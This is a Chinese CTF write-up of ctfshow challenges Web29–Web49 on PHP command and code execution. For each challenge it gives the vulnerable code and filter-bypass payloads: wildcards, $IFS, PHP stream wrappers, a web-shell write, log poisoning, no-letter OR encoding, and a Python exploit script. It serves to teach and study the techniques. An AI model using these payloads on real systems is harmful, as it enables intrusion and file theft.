补一下这个什么命令执行,看看大佬的wp有什么奇妙的姿势

PS: 带二级标题的姿势是我觉得不错的知识

发这篇博客时,发现只能显示2000行,我以为每篇博客极限就是2000行左右了,再多就显示不了了,就把后面几道题单独放吧(这是一开始的设想)

加了一篇之后发现在原来的地方还是断掉了,没有显示,才发现是因为类似于

1
`{#IFS}=3`

这种会导致博客无法正常显示,可以选择用3个反引号而不是一个来绕过或者将#变成\#

Web29(通配符)

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

eval(string $code)把字符串$c作为PHP代码执行,并且里面的字符串结尾要加;号,否则不行
理解原理

1
2
3
4
5
6
7
8
9
10
<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>
/*This is a $string with my $name in it.
This is a cup with my coffee in it.

echo和system都可以执行程序外的指令,echo 指令内容即可,system(指令)

然后linux系统内有通配符

*符号:代表0个或者多个字符
?符号:代表任意一个字符
[]符号:匹配括号内包含的任一字符
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
^符号和!:通常与[]一起使用,代表取反

反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量

Linux中表示输出的函数有,cat,tac,more,nl

  1. cat 由第一行开始显示文件内容
  2. tac 由最后一行开始显示文件内容(刚好和cat字母相反)
  3. nl 按行号显示文件内容
  4. more 一页一页翻动的读取

Linux 下几种绕过关键字过滤的方式

1
2
3
4
5
cat fl''ag.php
cat fl""ag.php
cat fl\ag.php
cat fla*
cat fla?.???

不仅仅是文件名, 执行的命令也可以这样绕过

内容为空的单双引号在shell中会直接被忽略

反斜杠表示命令输入没有结束, 会在下一行继续输入 (这里直接跟在反斜杠后面也算是继续输入)

通配符*表示匹配所有以fla开头的文件, 当然也就匹配了flag.php

?表示匹配一个字符,fla?.???匹配以fla开头的四个字符的文件名 +.+ 三个字符的后缀名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
?c=echo cat fla''g.php;或者?c=echo tac fl?g.php;等等

?c=system('cat fla?.php');

?c=system('cat fl*');

a=fl;b=ag;cat $a$b.php //cat flag.php(拼接字符)

?c=system("cp f* a.txt");

?c=echo `tac f*`

?c=eval($_GET[1]);&1=system("ls%20/");

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?c=file_put_contents("alb34t.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27);(上传木马)

?c=nl fl''ag.php

?c = eval($_POST[1]);
//这里做个解释,为什么要套两层eval,第一层eval相当于解析变量,也就是说第一层eval后的c传进去的字符串相当于放到了本地运行。
//类似于当c=echo 1
//eval($_GET['c'])=eval("echo 1")=echo 1
//最后会返回个1出来,所以要在本地运行一句话木马,我们要再套一层eval函数

Web30(system类似函数)

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

解法和Web29一模一样

php有几个执行外部命令的函数,换一个使用即可:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
其中system是有回显的,其他的就得需要我们自行输出。调用echo或者其他输出函数

payloads:

1
2
3
4
5
6
7
8
9
10
11
12
?c=echo `tac fla?.ph*`;

?c=eval($_GET[1]);&1=system('cat flag.php');

?c=echo exec('nl fla?????');

?c=echo `nl fla''g.p''hp`;

?c=echo `nl fla?????`;
//还有上一道题的很多payload都可以使用

?c = passthru(chr(108).chr(115).chr(32));

Web31(参数逃逸,常规操作)

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c); //过滤了flag,system,php,cat,sort,shell,点,单引号,空格
}

}else{
highlight_file(__FILE__);
}

空格过滤常用以下方法绕过:

1
2
3
4
5
6
7
8
9
10
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt //9改成其他数字也行
cat<flag.txt
cat<>flag.txt
{cat,flag.txt}
cat%09flag.txt
cat%20flag.txt //这个这里好像不行
%09 (PHP 环境)
$a=$'\x20flag.php'&&cat$a (\x20 代表空格)

过滤 cat 的绕过方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
more
less
head
tac
tail
nl
od
vi
vim
sort
uniq
file -f
strings

payloads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
?c=echo%09tac%09fl?g?p?p;    ps:使用%09绕过空格

?c=eval($_GET[1]);&1=system('cat flag.php');再访问源代码

?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

?c=echo%09`tac%09f*`;

?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

?c=echo(`nl%09fl[abc]*`);

?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()

?c=echo`strings%09f*`;

?c=echo`strings\$IFS\$9f*`
//$必须加转义字符

无参rce分析

show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv()返回包含本地化数字和货币格式信息的关联数组,要注意的是数组的第一个值为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
array(18) {
["decimal_point"]=>
string(1) "."
["thousands_sep"]=>
string(0) ""
["int_curr_symbol"]=>
string(0) ""
["currency_symbol"]=>
string(0) ""
["mon_decimal_point"]=>
string(0) ""
["mon_thousands_sep"]=>
string(0) ""
["positive_sign"]=>
string(0) ""
["negative_sign"]=>
string(0) ""
["int_frac_digits"]=>
int(127)
["frac_digits"]=>
int(127)
["p_cs_precedes"]=>
int(127)
["p_sep_by_space"]=>
int(127)
["n_cs_precedes"]=>
int(127)
["n_sep_by_space"]=>
int(127)
["p_sign_posn"]=>
int(127)
["n_sign_posn"]=>
int(127)
["grouping"]=>
array(0) {
}
["mon_grouping"]=>
array(0) {
}
}

pos()current(), 返回数组中的当前值, 默认情况下这里返回的是数组中的第一个值, 也就是.

scandir()用于列出指定路径中的文件和目录, 这里列出当前目录下的内容

1
2
3
4
5
6
7
8
9
10
array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(8) "flag.php"
[3]=>
string(9) "index.php"
}

array_reverse()将数组翻转, 就变成了下面这样

1
2
3
4
5
6
7
8
9
10
array(4) {
[0]=>
string(9) "index.php"
[1]=>
string(8) "flag.php"
[2]=>
string(2) ".."
[3]=>
string(1) "."
}

next()将数组中的内部指针向前移动一位, 也就是返回下标为1 (第二位) 的值 (flag.php)

最后通过show_source()高亮显示源码内容

Web32(过滤;)

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ //过滤flag,system,php,cat,sort,shell,.,空格,单引号,反引号,斜杠/
eval($c);
}

}else{
highlight_file(__FILE__);
}

这一题过滤掉了以前所有的常规方法,所以这题我们用文件包含+逃逸+伪协议,PHP中includerequire函数无需括号和空格也能使用,利用文件包含函数include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile等等可以查看文件

1
2
include"a.php"
require"b.php"

这里的;可以使用标签闭合的形式绕过 (PHP 中如果语句只有一行那么结尾可以不用加分号)

payloads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
//其中的?>用来绕过分号,因为?>默认给你偷偷加了一个分号,接着将后面1的参数传入的include函数内,filter伪协议是用来读取文件内容的,遇到文件包含函数可以用来读取内容

?c=include%09$_POST[1]?>
POST:1=php://filter/read=convert.base64-encode/resource=flag.php

/index.php?c=include"$_GET[1]"?>&1=php://input

/index.php?c=include$_GET[1]?>&1=php://input

/index.php?c=?><?=include"$_GET[1]"?>&1=php://input

/index.php?c=?><?=include$_GET[1]?>&1=php://input

?c = include"\$_POST[1]"?>
POST: 1=……(伪协议)

?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

日志文件包含

还有一种在log中注入木马的方式。在User-Agent中写入木马<?php phpinfo();?>

c中传入能正常访问的值,我们根据请求头可以判断出是nginx服务器,服务器的默认日志地址为:/var/log/nginx/access.log

再加上这里的include的字段,我们可以得到以下payload:?c=include$_GET[a]?%3E&a=../../../../var/log/nginx/access.log,日志页面中出现phpinfo()页面,插入木马成功

暂时没理解

$nice的作用是什么啊

1
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web33(双引号过滤)

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

和上一题差不多

payloads:

1
2
3
4
5
6
7
8
9
10
11
12
13
?c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?c=include%09$_POST[1]?>
POST: 1=1=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://input
POST: <?php system('cat flag.php')?>

?c=include$_GET[1]?>&1=data://text/plain,<?php system('ls')?>

?c=include$_GET[1]?>&1=data://text/plain,<?php eval(system('cat flag.php'));?>

Web34(冒号过滤)

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

在上题的基础上又过滤了:
乍一看以为伪协议用不了, 其实根本没有影响
上题的payload依然可用 (参数c里面根本就没有:)

1
2
3
4
5
6
7
8
9
?c=include$_GET[1]?>&1=php://input

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=data://text/plain,<?php eval(system('cat flag.php'));?>

?c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

Web35(过滤尖括号)

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

增加了< =的过滤

payload

1
2
3
4
5
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

Web36(等号与数字被过滤)

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了数字,把 1 改为 a 就能接着用

payload:

1
2
3
4
5
6
7
8
9
?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[a]?>&a=php://input

?c=include$_GET{a}?>&a=php://input

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

Web37(data协议编码绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

看到include就想到文件包含,文件包含就想到伪协议

然后这里显然不能用filter因为用了filter协议就要有flag的字眼,而且filter不能把输入的东西加密,只能把输出的东西加密,所以这里用data协议

data几个用法

1
2
3
4
5
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

内容为:<?php system('cat flag.php');?>,用base64对其转码得到:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

1
2
3
4
5
6
7
8
9
10
11
12
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
#?c=data://text/plain;base64,ZmxhZy5waHA=这个不行

?c=php://input
POST: <?php system('cat flag.php');?>

?c=data://text/plain,<?php system('cat fla*');?>

c=data://text/palin,<?php system("nl fla*");?>

#还可以配合UA头执行日志包含
c=/var/log/nginx/access.log

Web38(比Web37多过滤了php和file)

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

日志包含可过,在UA中写入一句话,然后直接包含日志文件/var/log/nginx/access.log
data伪协议可过,data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

方法和Web37差不多

Web39(data协议绕过固定后缀)

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

这里同样用data协议,但是include里面加了.php后缀,所以不能用base64进行加密,否则会出不来,这里直接?c=data://text/plain,即可,用?通配符逃过过滤

由于这里的php命令已经闭合,所以.php无法影响,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

payload:

1
2
3
4
5
6
7
?c=data://text/plain,<?php system("tac f*");?>//
#在语句中添加 // 注释掉末尾的字段即可

#事实上,这道题不用管也可以,去掉 // 也是没问题的
#这样就相当于执行了php语句<?php system('cat f*')?>.php
#后面的.php会被当成html页面直接显示在页面上,起不到什么作用。
?c=data://text/plain,<?php system("tac f*");?>

Web40(无数字RCE)

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

ban掉了很多符号,比如引号,美元符等,但是注意的是他过滤的是中文的括号,没有过滤英文的()

方法一(无参RCE)

先介绍下列几组函数

  1. localeconv():函数返回包含本地数字及货币信息格式的数组
  2. pos()或者current():输出数组的第一个元素,如图:由于localeconv函数第一个元素是一个.,所以输出了一个.
  3. scandir(): 以数组的形式列出指定路径中的文件和目录,这里.代表的是当前目录
  4. array_reverse():将数组倒叙排列
  5. next(): 将数组中的内部指针向前移动一位,并且输出,也就是输出第二个元素
  6. show_source()也就是highlight_file(): 高亮显示代码

这次是 flag 文件就在当前文件夹,如果不在当前文件夹需要使用:var_dump(scandir('../../'));

payload:

1
2
3
?c=show_source(next(array_reverse(scandir(current(localeconv())))));

?c=show_source((next(array_reverse(scandir(pos(localeconv()))))));

方法二(cookie执行命令)

session_start意思是开启一个对话,会多一个PHPSESSID,这个参数我们可以修改,然后session_id没有指定参数的话返回的是Cookie中PHPSESSID的值

1
2
3
?c=session_start();system(session_id());
#进行上面的请求后查看cookie多了一个PHPSESSID
PHPSESSID=ls # 执行命令成功,但是又过滤,用不了

接着直接改成 c=session_start();highlight_file(session_id());然后PHPSESSID的值修改为flag.php就出问题了

经过测试发现,受php版本影响5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符,即数字,字母还有逗号和减号。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的

本来想用 hex 编码的, 然后发现不能用 hex2bin() 函数, 因为数字被过滤了…

方法三(get_defined_vars()进行RCE)

这里是 nginx 服务器

使用post进行rec远程执行

首先介绍以下几个函数

  • get_defined_vars():此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量,?c=print_r(get_defined_vars());回显:
    1
    Array ( [_GET] => Array ( [c] => print_r(get_defined_vars()); ) [_POST] => Array ( ) [_COOKIE] => Array ( [PHPSESSID] => cat$IFSflag.php ) [_FILES] => Array ( ) [c] => print_r(get_defined_vars()); )

仔细看第二个[_POST]里面没有参数,所以我们用POST方法给他传进去一个试试看1=phpinfo(),回显:

1
Array ( [_GET] => Array ( [c] => print_r(get_defined_vars()); ) [_POST] => Array ( [1] => phpinfo() ) [_COOKIE] => Array ( [PHPSESSID] => cat$IFSflag.php ) [_FILES] => Array ( ) [c] => print_r(get_defined_vars()); ) 

接下来用next函数?c=print_r(next(get_defined_vars()));,获取第二个元素Array ( [1] => phpinfo() )

  • array_pop(): 返回数组最后一个元素的值,这里也可以用pos和curren函数

请求?c=print_r(array_pop(next(get_defined_vars())));回显phpinfo()

最后把print改为eval进行执行,如图所示进入了phpinfo界面,并且那个1=phpinfo()末尾要加分号,eval函数末尾必须要有分号

最后要获得flag,把1的参数改为1=system('tac flag.php');得到flag

或者?c=eval(end(current(get_defined_vars())));&a=system('tac flag.php');

利用current()取出$_GET数组,使用end()取出最后一项(想看各部分回显可以用print_r或者var_dump函数)

然后对于很多数组,且flag在中间的,我们用多个next会很麻烦。
show_source(array_rand(array_flip(scandir(current(localeconv())))));可以靠运气解决

Web41(无数字字母RCE)

1
2
3
4
5
6
7
8
9
10
 <?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

利用的是|运算符

方法一(X1r0z大佬的脚本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import re

preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'

def convertToURL(s):
if s < 16:
return '%0' + str(hex(s).replace('0x', ''))
else:
return '%' + str(hex(s).replace('0x', ''))

def generateDicts():
dicts = {}
for i in range(256):
for j in range(256):
if not re.match(preg, chr(i), re.I) and not re.match(preg, chr(j), re.I):
k = i | j
if k in range(32, 127):
if not k in dicts.keys():
dicts[chr(k)] = [convertToURL(i), convertToURL(j)]
return dicts

def generatePayload(dicts, payload):
s1 = ''
s2 = ''
for s in payload:
s1 += dicts[s][0]
s2 += dicts[s][1]
return f'("{s1}"|"{s2}")'

dicts = generateDicts()
a = generatePayload(dicts, 'system')
b = generatePayload(dicts, 'cat flag.php')
print(a + b)

其中 0-15 的 ASCII 码对应的十六进制是单个字符, 需要在前面补零, 然后再改写成 URL 编码的形式

而代码执行的原理在 p神的文章里有写, 这里的版本恰好是 PHP7

PHP7 前是不允许用 ($a)(); 这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过 (‘phpinfo’)(); 来执行函数,第一个括号中可以是任意 PHP 表达式。

POST: c=("%60%60%60%60%60%60"|"%13%19%13%14%25%0d")("%60%60%60%20%60%60%60%60%2e%60%60%60"|"%23%21%14%20%06%2c%21%27%2e%10%28%10")

注意:hackbar提交不了,只能bp发包,抓包改GET为POST,加上Content-Type: application/x-www-form-urlencoded就行

方法二(官方wp)

官方wp https://wp.ctf.show/d/137-ctfshow-web-web41

rce_or.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

运行以上方法输出rce_or.txt

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
#import os
#os.system("php rce_or.php") #没有将php写入环境变量需手动运行
requests.packages.urllib3.disable_warnings() # 防止要求安装证书的警告Adding certificate verification is strongly advised碍着眼睛
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data,verify=False) # verify=False避免ssl认证
print("\n[*] result:\n"+r.text)

python的相关代码是直接构造报文发送给后端

用法: python3 exp.py https://6aad4274-b1b8-4ef5-86f3-58c2e7c22b05.challenge.ctf.show/

Web42(双写绕过,黑洞)

1
2
3
4
5
6
7
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

先讲讲$c." >/dev/null 2>&1"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> 代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

[建议阅读](https://www.cnblogs.com/kexianting/p/11630085.html)

所以
1 > /dev/null #首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息
2 >& 1 #接着,标准错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

# 就是让标准输出重定向到 /dev/null 中(丢弃标准输出),
# 然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了 /dev/null 中,错误输出同样也被丢弃了
# 执行了这条命令之后,该条 shell 命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中
# 因此这个也被成为数据黑洞(还是很形象的)

这里system内部命令不需要加引号,这里我们可以用双写绕过

所以payload1:?c=ls;ls然后?c=tac flag.php;1
ps:这里的分号相当于分隔号,也就是输入两个指令,第二个指令随便什么都可以,反正不会有回显,另外这里的分号我们可以替换成%0a也就是换行符,或者%26这里也可以当做分号使用,原理一样

所以payload2:?c=tac flag.php%0a或者?c=tac flag.php%26

还有一种方法就是使用&&||来绕过,其中&&要进行URL编码后再传入进去,因为是在URL内传输的

1
2
3
4
5
cmd1 | cmd2 只执行 cmd2
cmd1 || cmd2 只有当 cmd1 执行失败后, 才执行 cmd2
cmd1 & cmd2 先执行 cmd1, 不管是否成功, 都会执行 cmd2
cmd1 && cmd2 先执行 cmd1, 执行成功后才执行 cmd2, 否则不执行
cmd1;cmd2 按顺序依次执行, 先执行 cmd1 再执行 cmd2

Payload3:?c=tac flag.php&&或者?c=tac flag.php||

管道符+tee创建文件

echo "<?php phpinfo(); ?>" | tee index.php(一定要注意写命令的时候给个执行参数进去,不然不能利用第二)

这是可以以任何名字描述后面的php文件,因为如果不存在会帮我自动创建一个,这就好办了,不会影响到我们的本身index.php,然后就和cp,>这些命令差不多了,就命令执行之后回显内容在另一个界面上面

ls | tee 2.php

Web43(类型同上)

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

源码和上一题一样,多ban掉了cat和;

我们只要用tac%0a即可或者nl%20flag.php%0a,思路就这样

命令执行绕过小技巧

1
2
3
4
5
6
7
?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||

Web44(类型同上)

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

比web43多ban掉了个flag,我们用通配符或者?等等即可
payload:`?c=tac fla
%0a`

Web45(类型同上)

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

比web44多ban了个空格,我们空格绕过用%09或者${IFS}就好了就好了

1
2
3
4
5
?c=tac%09fla*||
?c=tac${IFS}fla*||
# hint:
?c=echo$IFS`tac$IFS*`%0A #测试了一下发现 echo 后面可以直接用 $IFS (不加大括号), 第二个 $IFS 后面不能跟字母, 否则会报错, 只能跟 *
# 该命令会把当前目录下的所有文件的内容都显示出来

空格绕过IFS原理

一直使用IFS来绕过,但是一直不知道什么意思,了解了一下:$IFS 是一种set变量,当shell处理命令替换参数替换时,shell根据IFS的值,默认是space,tab,newline空格,制表符,空行来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
直接用$IFS的话,会认为解析没结束,会把后面的也当做参数解析,比如cat$IFSflag.php,会把IFSflag一起当变量解析。这时候需要在$IFS后面进行截断,使解析为空,结束$IFS,正常执行后面的内容。

1
2
3
4
5
cat$IFS$1flag.php	//使用特殊变量
cat${IFS}flag.php //使用{}
cat$IFS'f'lag.php //使用引号
cat$IFS\flag.php //使用转义符
cat$IFS?lag.php //使用通配符

Web46(类型同上)

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

这道题多ban掉了数字0-9$还有*
这里我们用前面提到的&&||来代替;
原理类似,空格就用URL编码去绕过,%09可行
这里不要被误导了,我们的url编码是存在数字,但是解码之后不存在了

payload:

1
2
3
4
?c=tac%09fla?.php||
?c=c"a"t%09fla??php||
?c=nl<fla''g.php||
?c=tac<>'f'lag.php%0a

备注:如果是* ?这种通配符的话, 无法使用输入重定向(因为可能会有多个文件)像fla''.php(其实就是flag.php)这种文件名唯一的才能使用<或者<>

做到后面发现,其实这里的$不会影响$IFS的使用,它不会被当作字符串

Web47(类型同上)

1
2
3
4
5
6
7
8
9
 <?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解法万变不离其宗,多ban了一些输出的东西而已,过滤了more less head sort tail

tac nl od依然可以绕过
payload:

1
2
3
4
?c=tac%09fla''g.php||
?c=nl<fla''g.php||
?c=tac<'f'lag.php%0a
?c=tac%09????.???||

Web48(类型同上)

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

又过滤了sed cut awk strings od curl 和反引号

可以tac 和 nl绕过

payload(和上一题差不多):

1
2
3
?c=tac<'f'lag.php%0a
?c=nl<fla''g.php||
?c=tac%09????.???||

一些读文件命令

查了一下发现sed cut awk curl也能读文件
sed

1
2
sed '1ahello' flag.txt # 向第1行后面追加 hello, 但由于没有加 -n 选项, 默认输出文件所有内容
sed -n '/ctfshow/p' flag.txt # 打印匹配到 ctfshow 关键字的那一行

cut
1
2
cut -b 1-99 flag.txt # 提取每一行的第1-99个字节
cut -d$'\n' -f1-99 flag.txt # 按换行符分割, 查看第1-99个字段

awk
1
awk -F$'\n' '{print $1}' flag.txt # 按换行符分割字段, 依次打印

curl
1
curl file:///home/exp10it/flag.txt # 需要知道绝对路径

Web49(类型同上)

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

又过滤了%但这里是url编码, 所以其实没有效果(和前面的数字过滤一样)
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
?c=tac%09fla?.php||
?c=tac<f''lag.php||
#不让用%0a,就用在hint中学到的双管道符隔断
?c=nl%09fla\g.php||
?c=nl%09fla\g.php%0a
?c=nl%09fla''g.php%0a
